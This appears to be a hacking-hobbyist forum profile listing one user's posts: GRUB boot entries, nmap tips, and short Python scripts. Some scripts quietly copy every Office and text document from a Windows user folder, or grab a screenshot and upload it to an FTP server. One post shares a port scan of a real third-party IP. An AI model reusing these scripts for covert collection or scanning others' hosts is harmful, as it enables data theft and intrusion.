Jump to content

ls

Active Members
  • Posts

    122
  • Joined

  • Last visited

Posts posted by ls

  1. We really should get all the menu.lst entries in one place.

    Here are some of mines:

    Invaders : http://www.erikyyy.de/invaders/

    title invaders
    kernel /images/invaders/invaders
    boot

    Slitaz : http://www.slitaz.org/en/

    title slitaz
    kernel /images/slitaz/boot/bzImage root=/dev/null vga=771
    initrd /images/slitaz/boot/rootfs.gz

    Clonezilla: http://clonezilla.org/

    title clonezilla
    root  (hd0,3)
    kernel /images/clonezilla/live/vmlinuz1 boot=live union=aufs vga=788 ip=frommedia live-media-path=/images/clonezilla/live bootfrom=/dev/hda toram=filesystem.squashfs
    initrd /images/clonezilla/live/initrd1.img
    boot

    Tinycore: http://www.tinycorelinux.com/

    title Tinycore
    kernel /images/tinycore/boot/bzImage
    initrd /images/tinycore/boot/tinycore.gz

  2. You can use nmap -sP 192.168.0.1/24 to do a simple ping sweep of the range 192.168.0.1 - 192.168.0.255.

    But you may want to check out autoscan http://autoscan-network.com.

    From the autoscan website:

    AutoScan-Network is a network discovering and managing application. No configuration is required to scan your network. The main goal is to print the list of connected equipments in your network.
  3. I wrote some code to do this in this post:

    http://hak5.org/forums/index.php?showtopic=11833

    this was the code:

    import os,shutil
    exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"]
    startpath = "C:\\Documents and Settings\\"
    def find(none, directory, filenames):                      
        for file in filenames:                                      
            for ext in exts:                      
                if file.endswith(ext):                
                    fullfile = os.path.join(directory,file)
                    try:
                        shutil.copy(fullfile,file)
                    except IOError:
                        pass # access denied
    os.path.walk(startpath,find, None)

  4. This piece of python will take a screenshot (under linux and windows) and will upload it to an ftp server

    import os
    import ftplib
    FTPHOST = "ftp.example.com"
    FTPPORT = 21
    FTPUSER = "anonymous"
    FTPPASS = "a@anonymous.com"
    
    def upload(filetoupload):
        ftp = ftplib.FTP()
        ftp.connect(FTPHOST,FTPPORT)
        ftp.login(FTPUSER,FTPPASS)
        f = open(filetoupload,'rb')
        ftp.storbinary(('STOR '+filetoupload),f)
        f.close()
        ftp.quit()
    
    def screenshot(shotname):
        shotname = shotname+".png"
        if os.name == "nt":
            import ImageGrab
            img = ImageGrab.grab()
                    img.save(shotname)
            upload(shotname)
            os.remove(shotname)
        elif os.name == "posix":
            import gtk.gdk
            w = gtk.gdk.get_default_root_window()
            sz = w.get_size()
            pb = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB,False,8,sz[0],sz[1])
            pb = pb.get_from_drawable(w,w.get_colormap(),0,0,0,0,sz[0],sz[1])
                pb.save(shotname,"png")
            upload(shotname)
            os.remove(shotname)
    
    screenshot("screenshot")

  5. import urllib2
    url = raw_input("Url : ")                            
    outputname = url.split('/')[-1]                    
    outputname = open(outputname,'w')          
    for line in urllib2.urlopen(url).readlines():    
        outputname.write(line)                     
    outputname.close()                                    
    print "Done"

    With this code you can download from http and from ftp

    you can find more info here: http://docs.python.org/library/urllib.html

  6. The problem with "blackhat" forums where everyone can register is that 90 % of the people there are 15 year old boys who want to hack their school if you are really interested in computer security it's better to go to "whitehat" sites where most people are serious and know what they are talking about. At least that's my experience

  7. Well I was extra bored :rolleyes: So I made a python script to help you do this, Make sure you run it in the directory with all your songs.

    You can download python here http://www.python.org/download/releases/2.5.4/

    Once it has generated the random names, copy the folder of songs to your Ipod. Then you can hit enter and the script will change the songs back to their original state.

    [Tested on Ubuntu GNU/Linux, should work with windows tho.]

    #Run this in the directory with your songs, and DO NOT CLOSE this until you have recovered the names.
    raw_input("Are you sure you want to continue? Make sure not to exit prematurely.")
    import os,random,time
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
    ....
    .....

    It's a bit overkill :P but I love overkill D:

    instead of writing chars = ["a","b",.....]

    you could say chars = list("abcdefghijklmnopqrstuvwxyz") it may save you some time

  8. interesting:

    Starting Nmap 4.62 ( http://nmap.org ) at 2009-02-25 13:39 CET

    Insufficient responses for TCP sequencing (2), OS detection may be less accurate

    Interesting ports on 202.106.53.50:

    Not shown: 1697 closed ports

    PORT STATE SERVICE VERSION

    23/tcp open telnet?

    25/tcp filtered smtp

    80/tcp filtered http

    81/tcp open hosts2-ns?

    110/tcp filtered pop3

    135/tcp filtered msrpc

    137/tcp filtered netbios-ns

    138/tcp filtered netbios-dgm

    139/tcp filtered netbios-ssn

    445/tcp filtered microsoft-ds

    593/tcp filtered http-rpc-epmap

    4444/tcp filtered krb524

    7070/tcp open http Apache httpd 2.0.52 ((Red Hat))

    8080/tcp filtered http-proxy

    12345/tcp filtered netbus

    12346/tcp filtered netbus

    27374/tcp filtered subseven

    31337/tcp filtered Elite

    an apache test page on port 7070 : http://202.106.53.50:7070/

    also if you search google for this ip, you get alot of hosts.deny files

    but also a file called botnet.txt : http://robert.kolatzek.org/botnet.txt

    and look at this: http://202.106.53.50:81/

  9. Yes it looks a bit overwhelming at first sight but it's actually quite simple:

    you first have to create a .spec file with the command python Makespec.py [option] pythonscript.py

    and then python Build.py pythonscript.spec

  10. voila, this script will copy all .txt, .doc, .docx, .pp, .pptx, .xls, .xlsx in the C:\Documents and settings\ directory

    import os,shutil
    exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"]
    startpath = "C:\\Documents and Settings\\"
    def find(none, directory, filenames):                      
        for file in filenames:                                      
            for ext in exts:                      
                if file.endswith(ext):                
                    fullfile = os.path.join(directory,file)
                    try:
                        shutil.copy(fullfile,file)
                    except IOError:
                        pass # access denied
    os.path.walk(startpath,find, None)

  11. A while ago, I wrote a script to collect alll images from a drive, i used this code:

    import os
    exts = [".jpg",".png",".bmp",".jpeg",".gif"]
    startpath = "/home/"
    def find(none, directory, filenames):                       
        for file in filenames:                                       
            for ext in exts:                      
                if file.endswith(ext):                 
                    file = os.path.join(directory,file)
                    print file
    os.path.walk(startpath,find, None)

    this will print out all images, you can then use shutil (http://docs.python.org/library/shutil.html) to copy the file to your pendrive

    I will write a script later,(quite busy right now)

×
×
  • Create New...